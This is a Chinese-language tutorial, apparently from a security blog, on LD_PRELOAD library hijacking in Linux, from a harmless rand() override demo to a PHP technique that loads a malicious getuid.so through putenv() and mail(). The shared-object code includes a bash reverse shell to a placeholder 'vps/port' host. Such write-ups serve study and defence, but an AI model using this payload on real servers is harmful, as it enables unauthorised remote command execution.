前言
https://blog.csdn.net/qq_63701832/article/details/129760495?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522170798717816800182189516%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=170798717816800182189516&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~baidu_landing_v2~default-5-129760495-null-null.142^v99^pc_search_result_base8&utm_term=LD_PRELOAD%20&spm=1018.2226.3001.4187
LD_PRELOAD简介
LD_PRELOAD 是linux下的一个环境变量。用于动态链接库的加载,在动态链接库的过程中他的优先级是最高的。类似于 .user.ini 中的 auto_prepend_file
它允许你定义在程序运行之前优先加载的动态链接库,那么我们就可以在自己定义的动态链接库中装入恶意函数。 也叫做LD_PRELOAD劫持
比如:一个恶意文件中有一个恶意构造的函数和我们程序指令执行时调用的函数一样,而LD_PRELOAD路径指向这个恶意文件后,这个文件的优先级高于原本函数的文件,那么优先调用我们的恶意文件后会覆盖原本的那个函数,那么当我们调用原本函数时,它会自动调用恶意的函数,非常危险。
如果我们利用LD_PRELOAD 劫持了所有的系统命令。那么他都会加载这个恶意的so,最终会产生不可逆的漏洞,比如:反弹shell
LD_PRELOAD 简单利用演示
rand.c
#include<stdio.h>
#include<stdlib.h>
#include<time.h>
int main()
{
srand(time(NULL)); //随机生成种子,保证每次出现的随机数不相同
int i = 10;
while(i--) printf("%d\n",rand());
return 0;
}
gcc rand.c -o rand
unrand.c
主体部分更换为
int rand()
{
return 666;
}
gcc -shared -fPIC 自定义文件.c -o 生成的库文件.so
gcc -shared -fPIC unrand.c -o unrand.so
export LD_PRELOAD=$PWD/unrand.so
用ldd查看可执行文件加载的动态库优先顺序
还有许多的案例
分析过程
比如我们的mail的例子
利用 mail() 启动新进程来劫持系统函数
mail.php如下:
<?php
mail("a@localhost","","","","");
?>
strace 用于跟踪系统调用和信号
strace -f php mail.php 2>&1 | grep -A2 -B2 execve
mail函数是一个发送邮件的函数,当使用它发送邮件时会使用到系统程序/usr/sbin/sendmail,如果能劫持到sendmail 这一系统命令的某个库函数,就可以执行我们的恶意系统命令
查看一下 sendmail系统命令会调用哪些库函数
readelf -Ws /usr/sbin/sendmail
调用的是 getuid()函数
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("bash -c 'bash -i >& /dev/tcp/vps/port 0>&1'");
}
uid_t getuid() {
if (getenv("LD_PRELOAD") == NULL) {
return 0;
}
unsetenv("LD_PRELOAD");
payload();
}
gcc -shared -fPIC getuid.c -o getuid.so
然后在 PHP 环境下劫持系统函数 getuid 就行了,代码如下:
<?php
putenv("LD_PRELOAD=/tmp/test/getuid.so"); // 注意这里的目录/var/tmp/要有访问权限
mail("a@localhost","","","","");
?>
// 运行 PHP 函数 putenv(), 设定环境变量 LD_PRELOAD 为 getuid.so, 以便后续启动新进程时优先加载该共享对象。
// 运行 PHP 的 mail() 函数, mail() 内部启动新进程 /usr/sbin/sendmail, 由于上一步 LD_PRELOAD 的作用, sendmail 调用的系统函数 getuid() 被优先级更好的 getuid.so 中的同名 getuid() 所劫持。